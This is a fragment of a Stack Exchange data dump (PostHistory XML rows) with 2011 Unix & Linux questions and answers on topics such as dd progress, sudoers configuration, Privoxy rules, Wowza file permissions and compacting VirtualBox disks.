  <row Id="27305" PostHistoryTypeId="2" PostId="11268" RevisionGUID="287ec39f-33f9-421c-827b-17f0daccc5c3" CreationDate="2011-04-13T18:54:39.993" UserId="885" Text="For `dd`, you can [send a signal](http://unix.stackexchange.com/questions/11262/dd-how-do-i-know-if-its-still-working/11264#11264). For other commands that are reading or writing to a file, you can watch their position in the file with [`lsof`](http://en.wikipedia.org/wiki/Lsof).&#xD;&#xA;&#xD;&#xA;    lsof -o -p1234    # where 1234 is the process ID of the command&#xD;&#xA;    lsof -o /path/to/file&#xD;&#xA;&#xD;&#xA;If you plan in advance, pipe the data through [`pv`](http://www.ivarch.com/programs/pv.shtml).&#xD;&#xA;" />
  <row Id="27306" PostHistoryTypeId="2" PostId="11269" RevisionGUID="4afb123c-f645-41d9-a827-a7d66ca1769e" CreationDate="2011-04-13T18:10:26.347" UserDisplayName="amin" Text="I installed opensuse 11.4 but I noticed that it don't have gcc...&#xD;&#xA;how i can install it? " />
  <row Id="27307" PostHistoryTypeId="1" PostId="11269" RevisionGUID="4afb123c-f645-41d9-a827-a7d66ca1769e" CreationDate="2011-04-13T18:10:26.347" UserDisplayName="amin" Text="Install GCC on OpenSUSE 11.4" />
  <row Id="27308" PostHistoryTypeId="3" PostId="11269" RevisionGUID="4afb123c-f645-41d9-a827-a7d66ca1769e" CreationDate="2011-04-13T18:10:26.347" UserDisplayName="amin" Text="élinuxà" />
  <row Id="27309" PostHistoryTypeId="17" PostId="11269" RevisionGUID="5cc89e21-9d2b-464d-8db5-3e3903cf8fd3" CreationDate="2011-04-13T19:01:43.917" UserId="-1" Comment="from http://askubuntu.com/questions/34920/install-gcc-on-opensuse-11-4" Text="" />
  <row Id="27310" PostHistoryTypeId="2" PostId="11270" RevisionGUID="4de19630-bb1a-451c-b772-d6c055b08cf2" CreationDate="2011-04-13T19:05:24.770" UserId="885" Text="Advantage of a 64-bit kernel: if you ever want to run a 64-bit program, you need a 64-bit kernel.&#xD;&#xA;&#xD;&#xA;Downside of a 64-bit kernel: with a 32-bit userland, it can be annoying at times, because many build scripts assume that the kernel and the libraries are the same architecture.&#xD;&#xA;&#xD;&#xA;Performance-wise, I don't think you'll notice the difference. The 64-bit kernel should be better at crypto, but this would only matter if you did an awful lot of disk and network encryption and your CPU was the bottleneck (it hardly ever is). &#xD;&#xA;&#xD;&#xA;So I'd go with a 32-bit kernel in your case.&#xD;&#xA;&#xD;&#xA;Install both; if you ever change your mind, the other kernel will only be a reboot away.&#xD;&#xA;&#xD;&#xA;See also [My processor is 64-bit - does that mean I need the amd64 image?](http://askubuntu.com/questions/3378/my-processor-is-64-bit-does-that-mean-i-need-the-amd64-image), [What version of Ubuntu to use for Desktop with 8Gb RAM?](http://superuser.com/questions/224612/what-version-of-ubuntu-to-use-for-desktop-with-8gb-ram) (but they're about choosing between a completely 32-bit system and a completely 64-bit system).&#xD;&#xA;" />
  <row Id="27311" PostHistoryTypeId="6" PostId="11260" RevisionGUID="93730c27-1c93-4257-991b-f3311c577c0e" CreationDate="2011-04-13T19:05:35.487" UserId="885" Comment="edited tags" Text="élinuxàédebianàé64bità" />
  <row Id="27312" PostHistoryTypeId="6" PostId="11238" RevisionGUID="aaed21e2-d2b9-443b-8109-71051427b68e" CreationDate="2011-04-13T19:09:30.630" UserId="885" Comment="edited tags" Text="éfilesàélockà" />
  <row Id="27313" PostHistoryTypeId="6" PostId="4469" RevisionGUID="89fd8091-03dc-4558-a787-bf9a8398a530" CreationDate="2011-04-13T19:10:47.943" UserId="885" Comment="edited tags" Text="éxorgàémouseà" />
  <row Id="27314" PostHistoryTypeId="6" PostId="11226" RevisionGUID="8004d342-a44b-43d1-bffb-2606b5ba173e" CreationDate="2011-04-13T19:12:53.270" UserId="885" Comment="edited tags" Text="ésoftwareörecàémailöuseröagentà" />
  <row Id="27315" PostHistoryTypeId="2" PostId="11271" RevisionGUID="5fb5f21d-55cd-478b-879a-e5c0df774e84" CreationDate="2011-04-13T19:20:10.137" UserId="3001" Text="    sudo zypper install gcc&#xD;&#xA;&#xD;&#xA;After that you're going to want to read some OpenSUSE documentation before you ask any more questions." />
  <row Id="27316" PostHistoryTypeId="2" PostId="11272" RevisionGUID="7930449d-e366-444a-a42b-2891e297d268" CreationDate="2011-04-13T19:24:18.240" UserId="885" Text="*(adapted from my answer to [an earlier, similar question](http://unix.stackexchange.com/q/7882) about packages installed from source)*&#xD;&#xA;&#xD;&#xA;If you start having many programs installed outside your distribution, you'll start running into package management issues: what version of foo have I installed? What files belong to foo, so that I can remove it (if you have foo mixed with other packages)? I'm tired of adding yet another directory to my `PATH` (if you have foo in a directory of its own). So I recommend using some form of package management.&#xD;&#xA;&#xD;&#xA;[Stow](http://www.gnu.org/software/stow/) is a poor-man's package manager. The principle is to store each package in its own directory but maintain symlinks in standard directories.&#xD;&#xA;&#xD;&#xA;* Install under `/usr/local/stow/PACKAGE-VERSION` (or `~/usr/stow/PACKAGE-VERSION` or wherever). (`PACKAGE` and `VERSION` represent the name and version of the package. These names are for your convenience only.)&#xD;&#xA;* If you picked a directory other than `/usr/local/stow`, add `~/usr/bin` (or wherever) to your `PATH`.&#xD;&#xA;* Run `stow PACKAGE-VERSION` from the `/usr/local/stow` (or …) directory. This creates symbolic links in the “normal” directories, e.g. `/usr/local/bin/foo-command -&gt; ../../stow/foo-4.2/bin/foo-command`.&#xD;&#xA;* If you ever want to uninstall this program, just run `stow -D PACKAGE-VERSION` to remove the symbolic links, and delete `/usr/local/stow/PACKAGE-VERSION`.&#xD;&#xA;&#xD;&#xA;There is also [xstow](http://xstow.sourceforge.net/) which is a similar, but more powerful programs (one of its benefits is that it can deal with conflicts).&#xD;&#xA;" />
  <row Id="27317" PostHistoryTypeId="6" PostId="11234" RevisionGUID="9292982c-61b2-4882-a425-d350cab60bb8" CreationDate="2011-04-13T19:24:34.060" UserId="885" Comment="edited tags" Text="ésoftwareöinstallationàédirectoryöstructureà" />
  <row Id="27318" PostHistoryTypeId="5" PostId="11248" RevisionGUID="54bcfc8d-e4bb-49a3-a3a6-68a559013546" CreationDate="2011-04-13T19:25:52.470" UserId="3001" Comment="Updated to reflect actual working solution." Text="The page you reference ([http://intgat.tigress.co.uk/rmy/uml/index.html][1]) states:&#xD;&#xA;&#xD;&#xA;    The utility also works on ext3 or ext4 filesystems.&#xD;&#xA;&#xD;&#xA;So I'm not sure where you're getting that it doesn't work on ext4 filesystems.&#xD;&#xA;&#xD;&#xA;Note that the zerofree *utility* is different from the zerofree *kernel patch* that is mentioned on the same page (which indeed does not seem to have a version for ext4).&#xD;&#xA;&#xD;&#xA;**Update:** At least in the case of VirtualBox, I don't think you need this utility at all.  In my testing, on a stock Ubuntu 10.04 install on ext4, you can just zero out the filesystem like so:&#xD;&#xA;&#xD;&#xA;    $ dd if=/dev/zero of=test.file&#xD;&#xA;&#xD;&#xA;...wait for the virtual disk to fill, then&#xD;&#xA;&#xD;&#xA;    $ rm test.file&#xD;&#xA;&#xD;&#xA;and shut the VM down.  Then on your VirtualBox host do:&#xD;&#xA;&#xD;&#xA;    $ VBoxManage modifyhd --compact yourImage.vdi&#xD;&#xA;&#xD;&#xA;and you'll recover all the unused space.&#xD;&#xA;&#xD;&#xA;  [1]: http://intgat.tigress.co.uk/rmy/uml/index.html" />
  <row Id="27319" PostHistoryTypeId="6" PostId="11223" RevisionGUID="ee52fa70-dd9d-473e-b6c5-c11d285b9f06" CreationDate="2011-04-13T19:27:40.020" UserId="885" Comment="edited tags" Text="ébashàédebianàéterminalà" />
  <row Id="27320" PostHistoryTypeId="2" PostId="11273" RevisionGUID="fc5c784b-0944-41cc-9a22-30fae7f8ad07" CreationDate="2011-04-13T19:45:47.723" UserId="885" Text="Grep has options to print just file names, or just file names and match counts, or matching lines (possibly with file names and line numbers), but not to condense multiple matches on one line.&#xD;&#xA;&#xD;&#xA;You can filter the grep output, or use another tool such as awk.&#xD;&#xA;&#xD;&#xA;    find . -type f -exec awk 'FNR==1 {if (found) print &quot;&quot;; found=0}&#xD;&#xA;                              /PATTERN/ { if (!found) printf(&quot;%s&quot;, FILENAME);&#xD;&#xA;                                          printf(&quot; %d&quot;, FNR);&#xD;&#xA;                                          found=1 }&#xD;&#xA;                              END {if (found) print &quot;&quot;}' {} +&#xD;&#xA;" />
  <row Id="27321" PostHistoryTypeId="5" PostId="11225" RevisionGUID="2a8dd363-68a9-41be-812f-4882da66277d" CreationDate="2011-04-13T20:07:47.773" UserId="73" Comment="added 751 characters in body; added 146 characters in body" Text="When I try to play MP4 files in mplayer, after a few seconds I get the &quot;Your system is too SLOW to play this!&quot; warning and the video starts lagging behind the audio. It only happens with MP4s, and seems to happen with just about all of them. mplayer doesn't seem to be overtaxing my system, it's just something with playing that particular format. I tried all the mplayer suggestions (different video driver, `-framedrop`, etc.); the only one that even partially helps is `-autosync 30`, but that's a hack. What could be wrong? How do I go about debugging/fixing it?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: My video card is an nVidia; I use the [official drivers](http://packages.gentoo.org/package/x11-drivers/nvidia-drivers). My available video output drivers according to mplayer are:&#xD;&#xA;&#xD;&#xA;    	xv	X11/Xv&#xD;&#xA;    	gl_nosw	OpenGL no software rendering&#xD;&#xA;    	x11	X11 ( XImage/Shm )&#xD;&#xA;    	xover	General X11 driver for overlay capable video output drivers&#xD;&#xA;    	gl	OpenGL&#xD;&#xA;    	gl2	X11 (OpenGL) - multiple textures version&#xD;&#xA;    	matrixview	MatrixView (OpenGL)&#xD;&#xA;    	null	Null video output&#xD;&#xA;    	mpegpes	MPEG-PES file&#xD;&#xA;    	yuv4mpeg	yuv4mpeg output for mjpegtools&#xD;&#xA;    	png	PNG file&#xD;&#xA;    	jpeg	JPEG file&#xD;&#xA;&#xD;&#xA;I haven't tried any other players (I don't think I even have any), but I'll try installing another one and see if it has the same problem. I forgot to mention that I have this problem on multiple computers, but they all have essentially the same setup so it's probably a common cause" />
  <row Id="27322" PostHistoryTypeId="2" PostId="11274" RevisionGUID="c1f8bf42-4b59-420c-bb2a-be86d4b68365" CreationDate="2011-04-13T20:14:22.273" UserId="5614" Text="I'm running Wowza Media Server on my server as &quot;root&quot;. The problem is that all files created (recorded) by Wowza are &quot;root:root&quot; and aren't writable, editable, or deletable by any other users. How can I make it so that Wowza records files that are writable by other users? &#xD;&#xA;&#xD;&#xA;I'd assume I'd use a group to facilitate this, but I'm not sure as to the recommended way to do this. Should I create a specific user to run Wowza as? How can I make this happen?" />
  <row Id="27323" PostHistoryTypeId="1" PostId="11274" RevisionGUID="c1f8bf42-4b59-420c-bb2a-be86d4b68365" CreationDate="2011-04-13T20:14:22.273" UserId="5614" Text="How to configure permissions to allow file access?" />
  <row Id="27324" PostHistoryTypeId="3" PostId="11274" RevisionGUID="c1f8bf42-4b59-420c-bb2a-be86d4b68365" CreationDate="2011-04-13T20:14:22.273" UserId="5614" Text="épermissionsàéusersàégroupà" />
  <row Id="27325" PostHistoryTypeId="2" PostId="11275" RevisionGUID="485f3e20-87b9-4e55-9f48-165023024b7f" CreationDate="2011-04-13T20:24:37.500" UserId="5664" Text="I installed a Fedora 14 &amp; an Ubuntu 10.04 LTS on my PC.&lt;br&gt;&#xD;&#xA;I used dm_crypt/LVM/with aes256 in both install.&lt;br&gt;&#xD;&#xA;(2 VolumeGroups, each encrypted, so there is 2 separated &amp; encrypted linux distro on this machine)&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The Question: How can i change the passwords for the encrypted VG's?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you in anticipation!" />
  <row Id="27326" PostHistoryTypeId="1" PostId="11275" RevisionGUID="485f3e20-87b9-4e55-9f48-165023024b7f" CreationDate="2011-04-13T20:24:37.500" UserId="5664" Text="How to change dm_crypt aes/256 LVM password after install?" />
  <row Id="27327" PostHistoryTypeId="3" PostId="11275" RevisionGUID="485f3e20-87b9-4e55-9f48-165023024b7f" CreationDate="2011-04-13T20:24:37.500" UserId="5664" Text="éubuntuàéfedoraàésecurityàélvmà" />
  <row Id="27328" PostHistoryTypeId="2" PostId="11276" RevisionGUID="c0e631bd-3d8c-408f-9b3a-120990f730ae" CreationDate="2011-04-13T20:31:24.123" UserId="885" Text="It looks like your system has [kexec](http://www.ibm.com/developerworks/linux/library/l-kexec/index.html) enabled. Kexec allows the Linux kernel to load another kernel and hand the system over to that system. It's named after the [`exec`](http://en.wikipedia.org/wiki/Execve) family of functions that replace a process by a new executable image. Instead of calling the `reboot` utility, your system is set up to call [`kexec`](http://linux.die.net/man/8/kexec) when you reboot, and the kernel does the rest.&#xD;&#xA;" />
  <row Id="27329" PostHistoryTypeId="6" PostId="11267" RevisionGUID="0a8a02b4-890a-4f3e-b907-bcc464100ea1" CreationDate="2011-04-13T20:31:43.283" UserId="885" Comment="edited tags" Text="édebianàékernelàébootàélinuxömintà" />
  <row Id="27330" PostHistoryTypeId="2" PostId="11277" RevisionGUID="c6a35275-35ec-4ecd-b628-d3e0b7c44b35" CreationDate="2011-04-13T20:45:31.243" UserId="5664" Text="i'm using Fedora 14 with &quot;privoxy-3.0.16-3.fc14.i686&quot;!&#xD;&#xA;&#xD;&#xA;The proxy is great!!&#xD;&#xA;&#xD;&#xA;But:&#xD;&#xA;&#xD;&#xA;if i visit these sites, there are blocked by privoxy: &#xD;&#xA;&#xD;&#xA;http://somewhere.com/user/11111/track?page=1&#xD;&#xA;&#xD;&#xA;http://www.somewhere2.org/popup.asp?pid=114645006&amp;pnr=10001&amp;foto=1&#xD;&#xA;&#xD;&#xA;how could i whitelist these to sites/urls? what would be the solution, so i could visit these sites, without being blocked (but e.g.: still block the ads on it)?&#xD;&#xA;&#xD;&#xA;Thank you in anticipation!" />
  <row Id="27331" PostHistoryTypeId="1" PostId="11277" RevisionGUID="c6a35275-35ec-4ecd-b628-d3e0b7c44b35" CreationDate="2011-04-13T20:45:31.243" UserId="5664" Text="How to whitelist an url/site in privoxy?" />
  <row Id="27332" PostHistoryTypeId="3" PostId="11277" RevisionGUID="c6a35275-35ec-4ecd-b628-d3e0b7c44b35" CreationDate="2011-04-13T20:45:31.243" UserId="5664" Text="élinuxàéfedoraàéprivoxyà" />
  <row Id="27333" PostHistoryTypeId="2" PostId="11278" RevisionGUID="f93a7926-420f-4bd8-95cb-202bf475340d" CreationDate="2011-04-13T20:52:25.613" UserId="6565" Text="If those pages aren't ads by themselves, they should be whitelisted/marked as not ads like you say.&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu, but the configs should be about the same on fedora. The file `/etc/privoxy/user.action` is meant for your own configurations. Locate the `{ -filter }` line and add your url below it.&#xD;&#xA;&#xD;&#xA;I haven't tested it myself, but considering the semantics, it should work" />
  <row Id="27334" PostHistoryTypeId="2" PostId="11279" RevisionGUID="8dc46a43-cbb5-4cb6-b05f-6e4473c32628" CreationDate="2011-04-13T20:59:33.990" UserId="1090" Text="When I access a linux machine with sshfs, I take the following steps.&#xD;&#xA;&#xD;&#xA;1. Get the ip address of the linux (the ip address is dynamically allocated to linux)&#xD;&#xA;2. Run sshfs id@ip_address:/HOME_DIRECTORY&#xD;&#xA;&#xD;&#xA;Can I use a name, not ip address to access the linux machine? &#xD;&#xA;" />
  <row Id="27335" PostHistoryTypeId="1" PostId="11279" RevisionGUID="8dc46a43-cbb5-4cb6-b05f-6e4473c32628" CreationDate="2011-04-13T20:59:33.990" UserId="1090" Text="Accessing a linux machine with a name (not ip address)" />
  <row Id="27336" PostHistoryTypeId="3" PostId="11279" RevisionGUID="8dc46a43-cbb5-4cb6-b05f-6e4473c32628" CreationDate="2011-04-13T20:59:33.990" UserId="1090" Text="énetworkingàéipà" />
  <row Id="27337" PostHistoryTypeId="2" PostId="11280" RevisionGUID="09d63d7d-9bf5-4b64-acdb-cdea21e29bab" CreationDate="2011-04-13T21:06:41.317" UserId="5664" Text="I'm trying with this in the user.action file: &#xD;&#xA;&#xD;&#xA;{ +redirect{s@http://www.google.*/search@https://encrypted.google.com/search@} }&#xD;&#xA;.google.&#xD;&#xA;&#xD;&#xA;But it doesn't work.&#xD;&#xA;&#xD;&#xA;My goal is to redirect from this: &#xD;&#xA;&#xD;&#xA;http://www.google.*/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;to this: &#xD;&#xA;&#xD;&#xA;https://encrypted.google.com/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;* could be &quot;de&quot;, &quot;pl&quot;, etc.. : that's why i need the &quot;*&quot;...&#xD;&#xA;&#xD;&#xA;Can somebody help me a little?&#xD;&#xA;&#xD;&#xA;Thank you in anticipiation." />
  <row Id="27338" PostHistoryTypeId="1" PostId="11280" RevisionGUID="09d63d7d-9bf5-4b64-acdb-cdea21e29bab" CreationDate="2011-04-13T21:06:41.317" UserId="5664" Text="Google Search Redirection to HTTPS - with Privoxy - how?" />
  <row Id="27339" PostHistoryTypeId="3" PostId="11280" RevisionGUID="09d63d7d-9bf5-4b64-acdb-cdea21e29bab" CreationDate="2011-04-13T21:06:41.317" UserId="5664" Text="élinuxàéfedoraàéprivoxyà" />
  <row Id="27340" PostHistoryTypeId="25" PostId="11267" RevisionGUID="9ec2d41d-f152-41b2-a764-580acca49e2d" CreationDate="2011-04-13T21:09:08.867" Comment="http://twitter.com/#!/StackUnix/status/58275551655362560" />
  <row Id="27341" PostHistoryTypeId="2" PostId="11281" RevisionGUID="b9eb2a17-cbcd-4caf-868c-d5258ae17732" CreationDate="2011-04-13T21:09:27.917" UserId="6566" Text="Assuming you're using apache, you could `chown` the files to **apache:apache** (or **www-data:www-data**, depending on your distro) and then `chmod` them to **ug+wr** and **o-wrx**." />
  <row Id="27342" PostHistoryTypeId="2" PostId="11282" RevisionGUID="c0041f9d-8e62-4b6a-a708-6470a7c89f7b" CreationDate="2011-04-13T21:16:05.973" UserId="6167" Text="Wowza should really be run as a different user.  I suggest creating a dedicated user and group for Wowza.  Any files created by Wowza will be owned by it's user and it's primary group.  To create the user:&#xD;&#xA;&#xD;&#xA;    groupadd wowza   # Create a group for Wowza&#xD;&#xA;    useradd -c 'Wowza Media Server' -d /path/to/media -g wowza wowza&#xD;&#xA;&#xD;&#xA;The above command will create a group called wowza and a user called wowza.  If needed you can invoke su as a wrapper around it to run it as a different user:&#xD;&#xA;&#xD;&#xA;    su -l -c 'umask 002; wowza-media-server' wowza&#xD;&#xA;&#xD;&#xA;The above command when run from root will invoke the command wowza-media-server as user wowza.  The command wowza-media-server will be running as user wowza and any files it creates will be owned by user wowza and group wowza.  The `umask 002` ensures that any files created by wowza-media-server will be group writable.  Then you can add users to that group and they will be able write to any files created by wowza-media-server." />
  <row Id="27343" PostHistoryTypeId="2" PostId="11283" RevisionGUID="e86e1b24-eba5-4122-87ee-ee2bc55471e9" CreationDate="2011-04-13T21:19:26.843" UserId="1339" Text="What you want is the resolution from a network name to an ip address, which is exactly what DNS is for.&#xD;&#xA;&#xD;&#xA;If the linux machine is on your LAN, IMHO [dnsmasq][1] would fit best.&#xD;&#xA;&#xD;&#xA;&gt; Dnsmasq is a lightweight, easy to&#xD;&#xA;&gt; configure DNS forwarder and DHCP&#xD;&#xA;&gt; server. It is designed to provide DNS&#xD;&#xA;&gt; and, optionally, DHCP, to a small&#xD;&#xA;&gt; network. It can serve the names of&#xD;&#xA;&gt; local machines which are not in the&#xD;&#xA;&gt; global DNS. The DHCP server integrates&#xD;&#xA;&gt; with the DNS server and allows&#xD;&#xA;&gt; machines with DHCP-allocated addresses&#xD;&#xA;&gt; to appear in the DNS with names&#xD;&#xA;&gt; configured either in each host or in a&#xD;&#xA;&gt; central configuration file. Dnsmasq&#xD;&#xA;&gt; supports static and dynamic DHCP&#xD;&#xA;&gt; leases and BOOTP/TFTP/PXE for network&#xD;&#xA;&gt; booting of diskless machines.&#xD;&#xA;&#xD;&#xA;If its on the internet, you could use some dynamic dns provider. A popular free provider is [DynDNS][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thekelleys.org.uk/dnsmasq/doc.html&#xD;&#xA;  [2]: http://www.dyndns.com/" />
  <row Id="27344" PostHistoryTypeId="6" PostId="11279" RevisionGUID="95c69fab-5f1f-48cb-843b-b0ab59e5a4f2" CreationDate="2011-04-13T21:27:09.343" UserId="885" Comment="edited tags" Text="ésshàénetworkingàéipà" />
  <row Id="27345" PostHistoryTypeId="2" PostId="11284" RevisionGUID="e3f31afc-b8e3-41cf-b6b0-35c3dce2815a" CreationDate="2011-04-13T21:27:20.763" UserId="2671" Text="There are several possibilities.&#xD;&#xA;&#xD;&#xA; 1. choose a dyndns service (not suitable for local IP address)&#xD;&#xA; 2. configure the machine in `/etc/hosts` (only for static IP address)&#xD;&#xA; 3. run your own DNS server (optimal for LAN)" />
  <row Id="27346" PostHistoryTypeId="5" PostId="11275" RevisionGUID="0139ddfc-0b4e-4650-bd04-0c00f7ecb955" CreationDate="2011-04-13T21:36:26.213" UserId="73" Comment="deleted 74 characters in body" Text="I installed Fedora 14 &amp; Ubuntu 10.04 LTS on my PC. I used dm_crypt/LVM with aes256 in both installs (2 VolumeGroups, each encrypted, so there is 2 separated &amp; encrypted linux distro on this machine). How can I change the passwords for the encrypted VGs?" />
  <row Id="27347" PostHistoryTypeId="5" PostId="11277" RevisionGUID="e3833472-7a31-4658-9631-26f46b1053fc" CreationDate="2011-04-13T21:37:10.720" UserId="73" Comment="deleted 100 characters in body; edited title" Text="I'm using Fedora 14 with `privoxy-3.0.16-3.fc14.i686`! These sites are blocked by Privoxy: &#xD;&#xA;&#xD;&#xA;* http://somewhere.com/user/11111/track?page=1&#xD;&#xA;* http://www.somewhere2.org/popup.asp?pid=114645006&amp;pnr=10001&amp;foto=1&#xD;&#xA;&#xD;&#xA;How can I whitelist these two sites/urls? I want to be able to visit these sites without being blocked (but e.g.: still block the ads on it)&#xD;&#xA;" />
  <row Id="27348" PostHistoryTypeId="4" PostId="11277" RevisionGUID="e3833472-7a31-4658-9631-26f46b1053fc" CreationDate="2011-04-13T21:37:10.720" UserId="73" Comment="deleted 100 characters in body; edited title" Text="How to whitelist a url/site in privoxy?" />
  <row Id="27349" PostHistoryTypeId="5" PostId="11280" RevisionGUID="ea6fdf16-1edd-42da-87f9-51adf13370ca" CreationDate="2011-04-13T21:38:00.313" UserId="73" Comment="deleted 64 characters in body" Text="I tried this in the `user.action` file:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://www.google.*/search@https://encrypted.google.com/search@} }&#xD;&#xA;.google.&#xD;&#xA;&#xD;&#xA;But it doesn't work. My goal is to redirect from this: &#xD;&#xA;&#xD;&#xA;    http://www.google.*/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;to this: &#xD;&#xA;&#xD;&#xA;    https://encrypted.google.com/searchBLA-BLA&#xD;&#xA;&#xD;&#xA;It could be `de`, `pl`, etc.; that's why I need the `*`.&#xD;&#xA;" />
  <row Id="27350" PostHistoryTypeId="2" PostId="11285" RevisionGUID="d363a9ee-257a-465a-a4fb-fa1ef8f409b6" CreationDate="2011-04-13T21:38:21.420" UserId="5614" Text="I've tried messing around with configuring `sudo` before, but I haven't had too much luck with it. How is it different from `su -l -c &quot;x&quot;`? It seems that via the configuration file, one can make it so a user can only have access to certain commands and more. I always thought of `sudo` as a way of one-lining a command as another user or group. Since distros like Ubuntu and Mint make it easy by essentially giving the main user easy access to root via a password, I'm not really sure what its intended use is. &#xD;&#xA;&#xD;&#xA;How do I add a user to the sudo file, giving them rights to only run certain commands at root? I also don't want to open up any security holes. " />
  <row Id="27351" PostHistoryTypeId="1" PostId="11285" RevisionGUID="d363a9ee-257a-465a-a4fb-fa1ef8f409b6" CreationDate="2011-04-13T21:38:21.420" UserId="5614" Text="How does sudo work?" />
  <row Id="27352" PostHistoryTypeId="3" PostId="11285" RevisionGUID="d363a9ee-257a-465a-a4fb-fa1ef8f409b6" CreationDate="2011-04-13T21:38:21.420" UserId="5614" Text="ésudoàérootà" />
  <row Id="27353" PostHistoryTypeId="2" PostId="11286" RevisionGUID="30e36e94-9e8a-4d67-abbe-4058bf3a0967" CreationDate="2011-04-13T21:56:14.120" UserId="6454" Text="I would like to ask *why* you want to delete files in /tmp? Is it because it is filling up, or is it for privacy reasons? If it's a space issue, it may be due to a badly behaved application, or it may be that it needs to be on a larger partition. If privacy, there are other alternatives, such as using encrypted filesystems that you may want to consider." />
  <row Id="27354" PostHistoryTypeId="2" PostId="11287" RevisionGUID="249bd2da-c423-4dda-b45a-403c666aa3b0" CreationDate="2011-04-13T22:16:04.227" UserId="885" Text="For basic operation — running commands as root — the most visible difference between sudo and su is that sudo requires the user's password and su requires root's password. The security implications have been discussed extensively in a previous question: [Which is the safest way to get root privileges: sudo, su or login?](http://unix.stackexchange.com/questions/8581/which-is-the-safest-way-to-get-root-privileges-sudo-su-or-login).&#xD;&#xA;&#xD;&#xA;Sudo has additional features beyond su's. In particular, once you have a user's password, you can run any command as that user. On the other hand, sudo can be configured so that the user invoking it can only run specific commands as some other user. This is possible because sudo doesn't require any authentication (other than perhaps confirming that you are you by typing your password — but that's subtly different from authenticating your user for a task).&#xD;&#xA;&#xD;&#xA;You change the sudo configuration by running the `visudo` command as root (never edit the configuration directly). Make sure the environment variable `EDITOR` or `VISUAL` is set to your favorite editor or you may get an unfamiliar editor. The [`sudoers` man page](http://manpages.ubuntu.com/manpages/lucid/man5/sudoers.5.html) is a bit terse but has examples. To allow the user `bob` to run `/bin/foo` (with any number of arguments) and `/bin/bar --safe` (but not with any other argument) as `root`, use the following lines:&#xD;&#xA;&#xD;&#xA;    bob ALL = (root) /bin/foo&#xD;&#xA;    bob ALL = (root) /bin/bar --safe&#xD;&#xA;" />
  <row Id="27355" PostHistoryTypeId="2" PostId="11288" RevisionGUID="5c9bfaae-98f6-4eee-b237-e116d9804d60" CreationDate="2011-04-13T22:20:26.357" UserId="1523" Text="The biggest difference is that with `sudo` you don't need the root password to run a command as root, as you would for `su`. You do need the root password to add someone to the `sudoers` file but thereafter that person can run all or some (if you've restricted it) as root without requiring a further password.&#xD;&#xA;&#xD;&#xA;The other difference is, as you've noted, `sudo` allows a much finer control over exactly what commands can be run.&#xD;&#xA;&#xD;&#xA;For details of the format of the `sudoers` file run `man sudoers`. You'll find examples there of allowing only certain commands to be run as root. The basic structure of each line is:&#xD;&#xA;&#xD;&#xA;    user_list host_list = cmd_list&#xD;&#xA;&#xD;&#xA;cmd_list can include details of which user the real user is allowed to switch to. For instance, you might allow a webmaster to switch to wwwroot to restart apache but not to root. It can also include other options such as whether the users password is required before switching (this is the default).&#xD;&#xA;&#xD;&#xA;An example line might be:&#xD;&#xA;&#xD;&#xA;    joe  ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;which means: let joe run any command on any host as any user. A tighter line might be:&#xD;&#xA;&#xD;&#xA;    joe  ALL=(operator) /usr/local/ops/&#xD;&#xA;&#xD;&#xA;which means: let joe run any command in the /usr/local/ops directory as the user &quot;operator&quot;.&#xD;&#xA;&#xD;&#xA;There are lots of examples at the end of the sudoers man page.&#xD;&#xA;&#xD;&#xA;You should edit `/etc/sudoers` with the command `visudo`. This checks that the file is legal and helps prevent you from accidently breaking it." />
  <row Id="27356" PostHistoryTypeId="2" PostId="11289" RevisionGUID="c74c8dac-f2e8-4d34-a71d-7208f9474593" CreationDate="2011-04-13T22:41:43.980" UserId="5664" Text="I installed a Fedora 14 first, then an Ubuntu 10.04. I installed them using dm_crypt/aes256/lvm, so i used encrypted VolumeGroups. ok. &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;At the end of the ubuntu install it said it cannot install GRUB...ok&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So i had to use SuperGRUBdisk to start Fedora&amp;give out the command: &quot;grub-install /dev/sda&quot;, OK! now i can boot to fedora normally, without using supergrubdisk..&lt;br&gt;&#xD;&#xA;But: the problem is, that i can't boot to ubuntu!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: Is there any working way to install Fedora 14 &amp; Ubuntu 10.04 using (separated) encrypted VolumeGroups? (each volumegroup with other password)..so that 2 users (who knows the root passwords of their own distro) can use 1 pc? (so that they cannot see each others files..)&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks.." />
  <row Id="27357" PostHistoryTypeId="1" PostId="11289" RevisionGUID="c74c8dac-f2e8-4d34-a71d-7208f9474593" CreationDate="2011-04-13T22:41:43.980" UserId="5664" Text="How to install Fedora&amp;Ubuntu with encrypted VG's on one disk?" />
  <row Id="27358" PostHistoryTypeId="3" PostId="11289" RevisionGUID="c74c8dac-f2e8-4d34-a71d-7208f9474593" CreationDate="2011-04-13T22:41:43.980" UserId="5664" Text="élinuxàéubuntuàéfedoraàésecurityà" />
  <row Id="27359" PostHistoryTypeId="5" PostId="11183" RevisionGUID="2616957e-af54-4c3a-af0e-ef566bc4fad4" CreationDate="2011-04-13T22:46:22.510" UserId="5664" Comment="added 1 characters in body" Text="There is no way that i could run a fresh version of AIX (in a virtual machine) on my i386 / T7100 C2D HP notebook. " />
